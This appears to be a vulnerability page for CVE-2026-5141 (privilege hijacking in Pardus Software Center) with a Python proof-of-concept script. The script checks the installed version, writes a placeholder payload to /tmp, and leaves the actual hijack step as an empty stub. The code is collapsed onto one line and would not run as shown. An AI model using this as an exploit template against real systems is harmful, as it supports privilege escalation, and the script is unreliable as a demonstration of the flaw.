CVE-2026-5141 Pardus软件中心特权进程劫持漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-5141: Privileged Process Hijacking in Pardus Software Center This script is a conceptual demonstration of the vulnerability. """ import os import subprocess import sys def check_vulnerability(): """ Check if the target is running a vulnerable version of Pardus Software Center. """ try: # Attempt to get version (hypothetical command) result = subprocess.check_output(["pardus-software-center", "--version"], stderr=subprocess.DEVNULL) version_str = result.decode('utf-8') print(f"[*] Detected version: {version_str.strip()}") if "1.0.2" in version_str: return True except Exception: print("[-] Could not detect Pardus Software Center or version check failed.") return False def generate_malicious_payload(): """ Generate a simple payload to demonstrate privilege execution. In a real scenario, this would be a malicious script or binary. """ payload_content = """#!/bin/bash # This script acts as a placeholder for malicious code id > /tmp/pwned.txt echo "CVE-2026-5141 Exploited" >> /tmp/pwned.txt """ with open("/tmp/exploit_payload.sh", "w") as f: f.write(payload_content) os.chmod("/tmp/exploit_payload.sh", 0o755) print("[*] Malicious payload created at /tmp/exploit_payload.sh") def trigger_hijack(): """ Simulate the attack vector where the privileged process is hijacked. This often involves race conditions or manipulating environment variables/pathing. """ print("[*] Attempting to trigger the process hijack...") # Conceptual trigger: In a real exploit, this would involve specific # API calls or file operations that force the privileged process to load the payload. # For example, replacing a temporary script used by the service. print("[*] If vulnerable, the privileged process would now execute our payload with elevated rights.") if __name__ == "__main__": print("--- CVE-2026-5141 PoC ---") if check_vulnerability(): print("[!] Target appears to be vulnerable.") generate_malicious_payload() trigger_hijack() else: print("[+] Target does not appear to be vulnerable or could not be confirmed.")